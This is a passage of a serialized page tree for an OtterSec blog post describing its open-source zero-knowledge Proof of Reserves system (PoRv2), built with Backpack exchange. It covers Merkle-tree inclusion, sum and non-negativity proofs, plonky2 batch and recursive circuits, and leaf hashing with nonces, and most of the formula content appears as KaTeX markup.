method.",{"type":26,"tag":35,"props":92140,"children":92141},{},[92142,92144,92151,92153,92160,92162,92169],{"type":32,"value":92143},"We from OtterSec, in partnership with ",{"type":26,"tag":116,"props":92145,"children":92148},{"href":92146,"rel":92147},"https://backpack.exchange/",[120],[92149],{"type":32,"value":92150},"Backpack",{"type":32,"value":92152},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":26,"tag":116,"props":92154,"children":92157},{"href":92155,"rel":92156},"https://github.com/otter-sec/por_v2",[120],[92158],{"type":32,"value":92159},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":32,"value":92161}," was based on ",{"type":26,"tag":116,"props":92163,"children":92166},{"href":92164,"rel":92165},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[120],[92167],{"type":32,"value":92168},"OKX Proof of Reserves algorithm",{"type":32,"value":92170}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":26,"tag":35,"props":92172,"children":92173},{},[92174,92176,92183],{"type":32,"value":92175},"In addition, we also created and open-sourced a ",{"type":26,"tag":116,"props":92177,"children":92180},{"href":92178,"rel":92179},"https://github.com/otter-sec/por_verifier_server",[120],[92181],{"type":32,"value":92182},"PoR verifier server",{"type":32,"value":92184}," that receives the proofs and validates them.",{"type":26,"tag":27,"props":92186,"children":92188},{"id":92187},"why-do-we-use-zk-for-por",[92189],{"type":32,"value":92190},"Why do we use ZK for PoR?",{"type":26,"tag":35,"props":92192,"children":92193},{},[92194,92196,92201],{"type":32,"value":92195},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":26,"tag":105,"props":92197,"children":92198},{},[92199],{"type":32,"value":92200},"Zero-Knowledge Proofs (ZKPs)",{"type":32,"value":92202}," become game-changers.",{"type":26,"tag":35,"props":92204,"children":92205},{},[92206],{"type":32,"value":92207},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":26,"tag":35,"props":92209,"children":92210},{},[92211],{"type":32,"value":92212},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":26,"tag":181,"props":92214,"children":92215},{},[92216,92233],{"type":26,"tag":86,"props":92217,"children":92218},{},[92219,92224,92226,92232],{"type":26,"tag":105,"props":92220,"children":92221},{},[92222],{"type":32,"value":92223},"Sum proof",{"type":32,"value":92225},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":26,"tag":53,"props":92227,"children":92229},{"className":92228},[],[92230],{"type":32,"value":92231},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":32,"value":20450},{"type":26,"tag":86,"props":92234,"children":92235},{},[92236,92241,92243,92248],{"type":26,"tag":105,"props":92237,"children":92238},{},[92239],{"type":32,"value":92240},"Non-negativity",{"type":32,"value":92242},": All users have a ",{"type":26,"tag":105,"props":92244,"children":92245},{},[92246],{"type":32,"value":92247},"positive",{"type":32,"value":92249}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":26,"tag":35,"props":92251,"children":92252},{},[92253],{"type":32,"value":92254},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":26,"tag":27,"props":92256,"children":92258},{"id":92257},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[92259],{"type":32,"value":92260},"What is a Merkle Tree and how does it help in a PoR?",{"type":26,"tag":35,"props":92262,"children":92263},{},[92264],{"type":32,"value":92265},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":26,"tag":35,"props":92267,"children":92268},{},[92269],{"type":26,"tag":132,"props":92270,"children":92272},{"alt":134,"src":92271},"/posts/por/merkle-tree.png",[],{"type":26,"tag":35,"props":92274,"children":92275},{},[92276],{"type":32,"value":92277},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":26,"tag":181,"props":92279,"children":92280},{},[92281,92294,92299],{"type":26,"tag":86,"props":92282,"children":92283},{},[92284,92286,92292],{"type":32,"value":92285},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":26,"tag":53,"props":92287,"children":92289},{"className":92288},[],[92290],{"type":32,"value":92291},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":32,"value":92293},");",{"type":26,"tag":86,"props":92295,"children":92296},{},[92297],{"type":32,"value":92298},"The Merkle tree is made public;",{"type":26,"tag":86,"props":92300,"children":92301},{},[92302],{"type":32,"value":92303},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":26,"tag":35,"props":92305,"children":92306},{},[92307],{"type":32,"value":92308},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":26,"tag":27,"props":92310,"children":92312},{"id":92311},"ottersec-porv2",[92313],{"type":32,"value":92314},"OtterSec PoRv2",{"type":26,"tag":35,"props":92316,"children":92317},{},[92318,92324,92326,92333],{"type":26,"tag":116,"props":92319,"children":92321},{"href":92155,"rel":92320},[120],[92322],{"type":32,"value":92323},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":32,"value":92325},", which uses the ",{"type":26,"tag":116,"props":92327,"children":92330},{"href":92328,"rel":92329},"https://github.com/0xPolygonZero/plonky2",[120],[92331],{"type":32,"value":92332},"plonky2 ZK algorithm",{"type":32,"value":92334}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":26,"tag":35,"props":92336,"children":92337},{},[92338,92340,92347],{"type":32,"value":92339},"We named it PoRv2 because we already had a version based on ",{"type":26,"tag":116,"props":92341,"children":92344},{"href":92342,"rel":92343},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[120],[92345],{"type":32,"value":92346},"Vitalik's proof of solvency",{"type":32,"value":92348},", which was not optimal.",{"type":26,"tag":35,"props":92350,"children":92351},{},[92352],{"type":26,"tag":105,"props":92353,"children":92354},{},[92355],{"type":32,"value":92356},"Non-negativity Proof",{"type":26,"tag":35,"props":92358,"children":92359},{},[92360],{"type":32,"value":92361},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":26,"tag":35,"props":92363,"children":92364},{},[92365],{"type":32,"value":92366},"We also check for overflows during summation to prevent tampering in the final result.",{"type":26,"tag":35,"props":92368,"children":92369},{},[92370],{"type":26,"tag":105,"props":92371,"children":92372},{},[92373],{"type":32,"value":92374},"Sum Proof",{"type":26,"tag":35,"props":92376,"children":92377},{},[92378,92380,92386],{"type":32,"value":92379},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":26,"tag":53,"props":92381,"children":92383},{"className":92382},[],[92384],{"type":32,"value":92385},"BTC final: user1_btc + user2_btc ...",{"type":32,"value":92387},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":26,"tag":41,"props":92389,"children":92391},{"id":92390},"what-are-the-ottersec-porv2-key-points",[92392],{"type":32,"value":92393},"What are the OtterSec PoRv2 key points?",{"type":26,"tag":181,"props":92395,"children":92396},{},[92397,92407,92425,92435,92466],{"type":26,"tag":86,"props":92398,"children":92399},{},[92400,92405],{"type":26,"tag":105,"props":92401,"children":92402},{},[92403],{"type":32,"value":92404},"Transparency",{"type":32,"value":92406},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":26,"tag":86,"props":92408,"children":92409},{},[92410,92415,92417,92424],{"type":26,"tag":105,"props":92411,"children":92412},{},[92413],{"type":32,"value":92414},"Time-efficiency",{"type":32,"value":92416},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":26,"tag":116,"props":92418,"children":92421},{"href":92419,"rel":92420},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[120],[92422],{"type":32,"value":92423},"Check our benchmark",{"type":32,"value":353},{"type":26,"tag":86,"props":92426,"children":92427},{},[92428,92433],{"type":26,"tag":105,"props":92429,"children":92430},{},[92431],{"type":32,"value":92432},"Memory-efficiency",{"type":32,"value":92434},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":26,"tag":86,"props":92436,"children":92437},{},[92438,92443,92445,92450,92452,92457,92459,92464],{"type":26,"tag":105,"props":92439,"children":92440},{},[92441],{"type":32,"value":92442},"Small-proofs",{"type":32,"value":92444},": We were able to reduce the final proof to less than ",{"type":26,"tag":105,"props":92446,"children":92447},{},[92448],{"type":32,"value":92449},"500KB",{"type":32,"value":92451}," and each inclusion proof to ",{"type":26,"tag":105,"props":92453,"children":92454},{},[92455],{"type":32,"value":92456},"~52KB",{"type":32,"value":92458},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":26,"tag":105,"props":92460,"children":92461},{},[92462],{"type":32,"value":92463},"200MB",{"type":32,"value":92465}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":26,"tag":86,"props":92467,"children":92468},{},[92469,92474],{"type":26,"tag":105,"props":92470,"children":92471},{},[92472],{"type":32,"value":92473},"Privacy",{"type":32,"value":92475},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":26,"tag":27,"props":92477,"children":92479},{"id":92478},"zk-circuits",[92480],{"type":32,"value":92481},"ZK Circuits",{"type":26,"tag":35,"props":92483,"children":92484},{},[92485],{"type":32,"value":92486},"We use two different ZK circuits to generate the final proof:",{"type":26,"tag":181,"props":92488,"children":92489},{},[92490,92495],{"type":26,"tag":86,"props":92491,"children":92492},{},[92493],{"type":32,"value":92494},"Batch circuit",{"type":26,"tag":86,"props":92496,"children":92497},{},[92498],{"type":32,"value":92499},"Recursive circuit",{"type":26,"tag":35,"props":92501,"children":92502},{},[92503],{"type":32,"value":92504},"With those two circuits, we can generate the proofs recursive tree:",{"type":26,"tag":35,"props":92506,"children":92507},{},[92508],{"type":26,"tag":132,"props":92509,"children":92511},{"alt":134,"src":92510},"/posts/por/batch-circuit.png",[],{"type":26,"tag":2637,"props":92513,"children":92514},{},[92515],{"type":26,"tag":35,"props":92516,"children":92517},{},[92518,92520,92526,92528,92534],{"type":32,"value":92519},"Note: We are using 512 as ",{"type":26,"tag":53,"props":92521,"children":92523},{"className":92522},[],[92524],{"type":32,"value":92525},"BATCH_SIZE",{"type":32,"value":92527}," and 8 as ",{"type":26,"tag":53,"props":92529,"children":92531},{"className":92530},[],[92532],{"type":32,"value":92533},"RECURSIVE_SIZE",{"type":32,"value":92535}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":26,"tag":2637,"props":92537,"children":92538},{},[92539],{"type":26,"tag":35,"props":92540,"children":92541},{},[92542],{"type":32,"value":92543},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":26,"tag":35,"props":92545,"children":92546},{},[92547],{"type":32,"value":92548},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":26,"tag":41,"props":92550,"children":92552},{"id":92551},"leaf-nodes",[92553],{"type":32,"value":92554},"Leaf Nodes",{"type":26,"tag":35,"props":92556,"children":92557},{},[92558],{"type":32,"value":92559},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":26,"tag":35,"props":92561,"children":92562},{},[92563],{"type":26,"tag":53,"props":92564,"children":92566},{"className":92565},[3691,3692],[92567],{"type":26,"tag":475,"props":92568,"children":92570},{"className":92569},[3697],[92571],{"type":26,"tag":475,"props":92572,"children":92574},{"className":92573,"ariaHidden":3703},[3702],[92575,92602],{"type":26,"tag":475,"props":92576,"children":92578},{"className":92577},[3708],[92579,92584,92589,92593,92598],{"type":26,"tag":475,"props":92580,"children":92583},{"className":92581,"style":92582},[3713],"height:0.6944em;",[],{"type":26,"tag":475,"props":92585,"children":92587},{"className":92586},[3719,21296],[92588],{"type":32,"value":83967},{"type":26,"tag":475,"props":92590,"children":92592},{"className":92591,"style":3898},[3800],[],{"type":26,"tag":475,"props":92594,"children":92596},{"className":92595},[3903],[92597],{"type":32,"value":786},{"type":26,"tag":475,"props":92599,"children":92601},{"className":92600,"style":3898},[3800],[],{"type":26,"tag":475,"props":92603,"children":92605},{"className":92604},[3708],[92606,92611,92616,92622,92627,92632,92638,92643,92648,92653,92659,92664,92670,92676,92683,92689,92695,92755,92760,92766,92771,92776,92781,92786,92791,92796,92801,92806,92811,92868,92873,92878,92883,92888,92893,92898,92905,92910,92916,92921,92927,92933,92938,92943,92948,92953,92958,92963,92968,92973,92978,92983,92988,92993,92998,93003],{"type":26,"tag":475,"props":92607,"children":92610},{"className":92608,"style":92609},[3713],"height:1.06em;vertical-align:-0.31em;",[],{"type":26,"tag":475,"props":92612,"children":92614},{"className":92613,"style":21297},[3719,21296],[92615],{"type":32,"value":21300},{"type":26,"tag":475,"props":92617,"children":92619},{"className":92618},[3719,21296],[92620],{"type":32,"value":92621},"ose",{"type":26,"tag":475,"props":92623,"children":92625},{"className":92624},[3719,21296],[92626],{"type":32,"value":3445},{"type":26,"tag":475,"props":92628,"children":92630},{"className":92629},[3719,21296],[92631],{"type":32,"value":621},{"type":26,"tag":475,"props":92633,"children":92635},{"className":92634},[3719,21296],[92636],{"type":32,"value":92637},"o",{"type":26,"tag":475,"props":92639,"children":92641},{"className":92640},[3719,21296],[92642],{"type":32,"value":56095},{"type":26,"tag":475,"props":92644,"children":92646},{"className":92645},[21425],[92647],{"type":32,"value":626},{"type":26,"tag":475,"props":92649,"children":92651},{"className":92650},[3719,21296],[92652],{"type":32,"value":116},{"type":26,"tag":475,"props":92654,"children":92656},{"className":92655},[3719,21296],[92657],{"type":32,"value":92658},"sse",{"type":26,"tag":475,"props":92660,"children":92662},{"className":92661},[3719,21296],[92663],{"type":32,"value":21438},{"type":26,"tag":475,"props":92665,"children":92668},{"className":92666,"style":92667},[3719],"margin-right:0.02778em;",[92669],{"type":32,"value":2789},{"type":26,"tag":475,"props":92671,"children":92673},{"className":92672},[3719,21296],[92674],{"type":32,"value":92675},"ba",{"type":26,"tag":475,"props":92677,"children":92680},{"className":92678,"style":92679},[3719,21296],"margin-right:0.01968em;",[92681],{"type":32,"value":92682},"l",{"type":26,"tag":475,"props":92684,"children":92686},{"className":92685},[3719,21296],[92687],{"type":32,"value":92688},"an",{"type":26,"tag":475,"props":92690,"children":92692},{"className":92691},[3719,21296],[92693],{"type":32,"value":92694},"ce",{"type":26,"tag":475,"props":92696,"children":92698},{"className":92697},[3719],[92699,92704],{"type":26,"tag":475,"props":92700,"children":92702},{"className":92701},[3719,21296],[92703],{"type":32,"value":10360},{"type":26,"tag":475,"props":92705,"children":92707},{"className":92706},[3736],[92708],{"type":26,"tag":475,"props":92709,"children":92711},{"className":92710},[3741,21350],[92712,92743],{"type":26,"tag":475,"props":92713,"children":92715},{"className":92714},[3746],[92716,92738],{"type":26,"tag":475,"props":92717,"children":92720},{"className":92718,"style":92719},[3751],"height:0.3011em;",[92721],{"type":26,"tag":475,"props":92722,"children":92724},{"style":92723},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[92725,92729],{"type":26,"tag":475,"props":92726,"children":92728},{"className":92727,"style":3761},[3760],[],{"type":26,"tag":475,"props":92730,"children":92732},{"className":92731},[3766,3767,3768,3769],[92733],{"type":26,"tag":475,"props":92734,"children":92736},{"className":92735},[3719,3769],[92737],{"type":32,"value":3732},{"type":26,"tag":475,"props":92739,"children":92741},{"className":92740},[21453],[92742],{"type":32,"value":21456},{"type":26,"tag":475,"props":92744,"children":92746},{"className":92745},[3746],[92747],{"type":26,"tag":475,"props":92748,"children":92751},{"className":92749,"style":92750},[3751],"height:0.15em;",[92752],{"type":26,"tag":475,"props":92753,"children":92754},{},[],{"type":26,"tag":475,"props":92756,"children":92758},{"className":92757},[3800],[92759],{"type":32,"value":21397},{"type":26,"tag":475,"props":92761,"children":92763},{"className":92762},[3719],[92764],{"type":32,"value":92765},"∣∣",{"type":26,"tag":475,"props":92767,"children":92769},{"className":92768},[3800],[92770],{"type":32,"value":21397},{"type":26,"tag":475,"props":92772,"children":92774},{"className":92773},[3719,21296],[92775],{"type":32,"value":116},{"type":26,"tag":475,"props":92777,"children":92779},{"className":92778},[3719,21296],[92780],{"type":32,"value":92658},{"type":26,"tag":475,"props":92782,"children":92784},{"className":92783},[3719,21296],[92785],{"type":32,"value":21438},{"type":26,"tag":475,"props":92787,"children":92789},{"className":92788,"style":92667},[3719],[92790],{"type":32,"value":2789},{"type":26,"tag":475,"props":92792,"children":92794},{"className":92793},[3719,21296],[92795],{"type":32,"value":92675},{"type":26,"tag":475,"props":92797,"children":92799},{"className":92798,"style":92679},[3719,21296],[92800],{"type":32,"value":92682},{"type":26,"tag":475,"props":92802,"children":92804},{"className":92803},[3719,21296],[92805],{"type":32,"value":92688},{"type":26,"tag":475,"props":92807,"children":92809},{"className":92808},[3719,21296],[92810],{"type":32,"value":92694},{"type":26,"tag":475,"props":92812,"children":92814},{"className":92813},[3719],[92815,92820],{"type":26,"tag":475,"props":92816,"children":92818},{"className":92817},[3719,21296],[92819],{"type":32,"value":10360},{"type":26,"tag":475,"props":92821,"children":92823},{"className":92822},[3736],[92824],{"type":26,"tag":475,"props":92825,"children":92827},{"className":92826},[3741,21350],[92828,92857],{"type":26,"tag":475,"props":92829,"children":92831},{"className":92830},[3746],[92832,92852],{"type":26,"tag":475,"props":92833,"children":92835},{"className":92834,"style":92719},[3751],[92836],{"type":26,"tag":475,"props":92837,"children":92838},{"style":92723},[92839,92843],{"type":26,"tag":475,"props":92840,"children":92842},{"className":92841,"style":3761},[3760],[],{"type":26,"tag":475,"props":92844,"children":92846},{"className":92845},[3766,3767,3768,3769],[92847],{"type":26,"tag":475,"props":92848,"children":92850},{"className":92849},[3719,3769],[92851],{"type":32,"value":3722},{"type":26,"tag":475,"props":92853,"children":92855},{"className":92854},[21453],[92856],{"type":32,"value":21456},{"type":26,"tag":475,"props":92858,"children":92860},{"className":92859},[3746],[92861],{"type":26,"tag":475,"props":92862,"children":92864},{"className":92863,"style":92750},[3751],[92865],{"type":26,"tag":475,"props":92866,"children":92867},{},[],{"type":26,"tag":475,"props":92869,"children":92871},{"className":92870},[3800],[92872],{"type":32,"value":21397},{"type":26,"tag":475,"props":92874,"children":92876},{"className":92875},[3719],[92877],{"type":32,"value":9300},{"type":26,"tag":475,"props":92879,"children":92881},{"className":92880},[3800],[92882],{"type":32,"value":21397},{"type":26,"tag":475,"props":92884,"children":92886},{"className":92885},[3719],[92887],{"type":32,"value":92765},{"type":26,"tag":475,"props":92889,"children":92891},{"className":92890},[3800],[92892],{"type":32,"value":21397},{"type":26,"tag":475,"props":92894,"children":92896},{"className":92895,"style":21755},[3719,21296],[92897],{"type":32,"value":21758},{"type":26,"tag":475,"props":92899,"children":92902},{"className":92900,"style":92901},[3719,21296],"margin-right:0.08125em;",[92903],{"type":32,"value":92904},"H",{"type":26,"tag":475,"props":92906,"children":92908},{"className":92907},[3719,21296],[92909],{"type":32,"value":76396},{"type":26,"tag":475,"props":92911,"children":92913},{"className":92912},[3719],[92914],{"type":32,"value":92915},"256",{"type":26,"tag":475,"props":92917,"children":92919},{"className":92918},[21425],[92920],{"type":32,"value":626},{"type":26,"tag":475,"props":92922,"children":92924},{"className":92923},[3719,21296],[92925],{"type":32,"value":92926},"u",{"type":26,"tag":475,"props":92928,"children":92930},{"className":92929,"style":92667},[3719,21296],[92931],{"type":32,"value":92932},"ser",{"type":26,"tag":475,"props":92934,"children":92936},{"className":92935,"style":92667},[3719],[92937],{"type":32,"value":2789},{"type":26,"tag":475,"props":92939,"children":92941},{"className":92940},[3719,21296],[92942],{"type":32,"value":3445},{"type":26,"tag":475,"props":92944,"children":92946},{"className":92945},[3719,21296],[92947],{"type":32,"value":621},{"type":26,"tag":475,"props":92949,"children":92951},{"className":92950},[21447],[92952],{"type":32,"value":2835},{"type":26,"tag":475,"props":92954,"children":92956},{"className":92955},[3800],[92957],{"type":32,"value":21397},{"type":26,"tag":475,"props":92959,"children":92961},{"className":92960},[3719],[92962],{"type":32,"value":92765},{"type":26,"tag":475,"props":92964,"children":92966},{"className":92965},[3800],[92967],{"type":32,"value":21397},{"type":26,"tag":475,"props":92969,"children":92971},{"className":92970},[3719,21296],[92972],{"type":32,"value":92926},{"type":26,"tag":475,"props":92974,"children":92976},{"className":92975,"style":92667},[3719,21296],[92977],{"type":32,"value":92932},{"type":26,"tag":475,"props":92979,"children":92981},{"className":92980,"style":92667},[3719],[92982],{"type":32,"value":2789},{"type":26,"tag":475,"props":92984,"children":92986},{"className":92985},[3719,21296],[92987],{"type":32,"value":56095},{"type":26,"tag":475,"props":92989,"children":92991},{"className":92990},[3719,21296],[92992],{"type":32,"value":92637},{"type":26,"tag":475,"props":92994,"children":92996},{"className":92995},[3719,21296],[92997],{"type":32,"value":56095},{"type":26,"tag":475,"props":92999,"children":93001},{"className":93000},[3719,21296],[93002],{"type":32,"value":92694},{"type":26,"tag":475,"props":93004,"children":93006},{"className":93005},[21447],[93007],{"type":32,"value":2835},{"type":26,"tag":35,"props":93009,"children":93010},{},[93011,93013,93019],{"type":32,"value":93012},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":26,"tag":53,"props":93014,"children":93016},{"className":93015},[],[93017],{"type":32,"value":93018},"uuid",{"type":32,"value":93020},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":26,"tag":41,"props":93022,"children":93024},{"id":93023},"batch-circuit",[93025],{"type":32,"value":93026},"Batch Circuit",{"type":26,"tag":35,"props":93028,"children":93029},{},[93030],{"type":32,"value":93031},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":26,"tag":35,"props":93033,"children":93034},{},[93035],{"type":26,"tag":105,"props":93036,"children":93037},{},[93038],{"type":32,"value":93039},"Public Inputs",{"type":26,"tag":82,"props":93041,"children":93042},{},[93043,93048,93053],{"type":26,"tag":86,"props":93044,"children":93045},{},[93046],{"type":32,"value":93047},"Asset prices in USD",{"type":26,"tag":86,"props":93049,"children":93050},{},[93051],{"type":32,"value":93052},"Merkle tree hash",{"type":26,"tag":86,"props":93054,"children":93055},{},[93056],{"type":32,"value":93057},"Summed asset balances",{"type":26,"tag":35,"props":93059,"children":93060},{},[93061],{"type":26,"tag":105,"props":93062,"children":93063},{},[93064],{"type":32,"value":93065},"Private Inputs",{"type":26,"tag":82,"props":93067,"children":93068},{},[93069,93074],{"type":26,"tag":86,"props":93070,"children":93071},{},[93072],{"type":32,"value":93073},"Users balances",{"type":26,"tag":86,"props":93075,"children":93076},{},[93077],{"type":32,"value":93078},"Merkle tree leaves hashes",{"type":26,"tag":35,"props":93080,"children":93081},{},[93082],{"type":26,"tag":105,"props":93083,"children":93084},{},[93085],{"type":32,"value":93086},"Constraints",{"type":26,"tag":82,"props":93088,"children":93089},{},[93090,93543,93711,94058,94456],{"type":26,"tag":86,"props":93091,"children":93092},{},[93093],{"type":26,"tag":53,"props":93094,"children":93096},{"className":93095},[3691,3692],[93097],{"type":26,"tag":475,"props":93098,"children":93100},{"className":93099},[3697],[93101],{"type":26,"tag":475,"props":93102,"children":93104},{"className":93103,"ariaHidden":3703},[3702],[93105,93244,93448],{"type":26,"tag":475,"props":93106,"children":93108},{"className":93107},[3708],[93109,93114,93119,93125,93130,93135,93140,93145,93150,93157,93162,93167,93172,93231,93235,93240],{"type":26,"tag":475,"props":93110,"children":93113},{"className":93111,"style":93112},[3713],"height:0.9695em;vertical-align:-0.31em;",[],{"type":26,"tag":475,"props":93115,"children":93117},{"className":93116},[3719,21296],[93118],{"type":32,"value":116},{"type":26,"tag":475,"props":93120,"children":93122},{"className":93121},[3719,21296],[93123],{"type":32,"value":93124},"cco",{"type":26,"tag":475,"props":93126,"children":93128},{"className":93127},[3719,21296],[93129],{"type":32,"value":92926},{"type":26,"tag":475,"props":93131,"children":93133},{"className":93132},[3719,21296],[93134],{"type":32,"value":56095},{"type":26,"tag":475,"props":93136,"children":93138},{"className":93137},[3719,21296],[93139],{"type":32,"value":21438},{"type":26,"tag":475,"props":93141,"children":93143},{"className":93142,"style":92667},[3719],[93144],{"type":32,"value":2789},{"type":26,"tag":475,"props":93146,"children":93148},{"className":93147},[3719,21296],[93149],{"type":32,"value":689},{"type":26,"tag":475,"props":93151,"children":93154},{"className":93152,"style":93153},[3719,21296],"margin-right:0.03588em;",[93155],{"type":32,"value":93156},"q",{"type":26,"tag":475,"props":93158,"children":93160},{"className":93159},[3719,21296],[93161],{"type":32,"value":92926},{"type":26,"tag":475,"props":93163,"children":93165},{"className":93164},[3719,21296],[93166],{"type":32,"value":3445},{"type":26,"tag":475,"props":93168,"children":93170},{"className":93169},[3719,21296],[93171],{"type":32,"value":21438},{"type":26,"tag":475,"props":93173,"children":93175},{"className":93174},[3719],[93176,93181],{"type":26,"tag":475,"props":93177,"children":93179},{"className":93178,"style":93153},[3719,21296],[93180],{"type":32,"value":2821},{"type":26,"tag":475,"props":93182,"children":93184},{"className":93183},[3736],[93185],{"type":26,"tag":475,"props":93186,"children":93188},{"className":93187},[3741,21350],[93189,93220],{"type":26,"tag":475,"props":93190,"children":93192},{"className":93191},[3746],[93193,93215],{"type":26,"tag":475,"props":93194,"children":93197},{"className":93195,"style":93196},[3751],"height:0.3117em;",[93198],{"type":26,"tag":475,"props":93199,"children":93201},{"style":93200},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[93202,93206],{"type":26,"tag":475,"props":93203,"children":93205},{"className":93204,"style":3761},[3760],[],{"type":26,"tag":475,"props":93207,"children":93209},{"className":93208},[3766,3767,3768,3769],[93210],{"type":26,"tag":475,"props":93211,"children":93213},{"className":93212},[3719,21296,3769],[93214],{"type":32,"value":3445},{"type":26,"tag":475,"props":93216,"children":93218},{"className":93217},[21453],[93219],{"type":32,"value":21456},{"type":26,"tag":475,"props":93221,"children":93223},{"className":93222},[3746],[93224],{"type":26,"tag":475,"props":93225,"children":93227},{"className":93226,"style":92750},[3751],[93228],{"type":26,"tag":475,"props":93229,"children":93230},{},[],{"type":26,"tag":475,"props":93232,"children":93234},{"className":93233,"style":3898},[3800],[],{"type":26,"tag":475,"props":93236,"children":93238},{"className":93237},[3903],[93239],{"type":32,"value":8287},{"type":26,"tag":475,"props":93241,"children":93243},{"className":93242,"style":3898},[3800],[],{"type":26,"tag":475,"props":93245,"children":93247},{"className":93246},[3708],[93248,93252,93258,93263,93268,93273,93278,93283,93288,93293,93298,93303,93308,93313,93318,93323,93328,93333,93390,93395,93400,93405,93410,93415,93420,93425,93430,93435,93439,93444],{"type":26,"tag":475,"props":93249,"children":93251},{"className":93250,"style":92609},[3713],[],{"type":26,"tag":475,"props":93253,"children":93255},{"className":93254},[3719],[93256],{"type":32,"value":93257},"Σ",{"type":26,"tag":475,"props":93259,"children":93261},{"className":93260},[3800],[93262],{"type":32,"value":21397},{"type":26,"tag":475,"props":93264,"children":93266},{"className":93265},[3719,21296],[93267],{"type":32,"value":116},{"type":26,"tag":475,"props":93269,"children":93271},{"className":93270},[3719,21296],[93272],{"type":32,"value":93124},{"type":26,"tag":475,"props":93274,"children":93276},{"className":93275},[3719,21296],[93277],{"type":32,"value":92926},{"type":26,"tag":475,"props":93279,"children":93281},{"className":93280},[3719,21296],[93282],{"type":32,"value":56095},{"type":26,"tag":475,"props":93284,"children":93286},{"className":93285},[3719,21296],[93287],{"type":32,"value":21438},{"type":26,"tag":475,"props":93289,"children":93291},{"className":93290,"style":92667},[3719],[93292],{"type":32,"value":2789},{"type":26,"tag":475,"props":93294,"children":93296},{"className":93295},[3719,21296],[93297],{"type":32,"value":116},{"type":26,"tag":475,"props":93299,"children":93301},{"className":93300},[3719,21296],[93302],{"type":32,"value":92658},{"type":26,"tag":475,"props":93304,"children":93306},{"className":93305},[3719,21296],[93307],{"type":32,"value":21438},{"type":26,"tag":475,"props":93309,"children":93311},{"className":93310,"style":92667},[3719],[93312],{"type":32,"value":2789},{"type":26,"tag":475,"props":93314,"children":93316},{"className":93315},[3719,21296],[93317],{"type":32,"value":92675},{"type":26,"tag":475,"props":93319,"children":93321},{"className":93320,"style":92679},[3719,21296],[93322],{"type":32,"value":92682},{"type":26,"tag":475,"props":93324,"children":93326},{"className":93325},[3719,21296],[93327],{"type":32,"value":92688},{"type":26,"tag":475,"props":93329,"children":93331},{"className":93330},[3719,21296],[93332],{"type":32,"value":92694},{"type":26,"tag":475,"props":93334,"children":93336},{"className":93335},[3719],[93337,93342],{"type":26,"tag":475,"props":93338,"children":93340},{"className":93339},[3719,21296],[93341],{"type":32,"value":10360},{"type":26,"tag":475,"props":93343,"child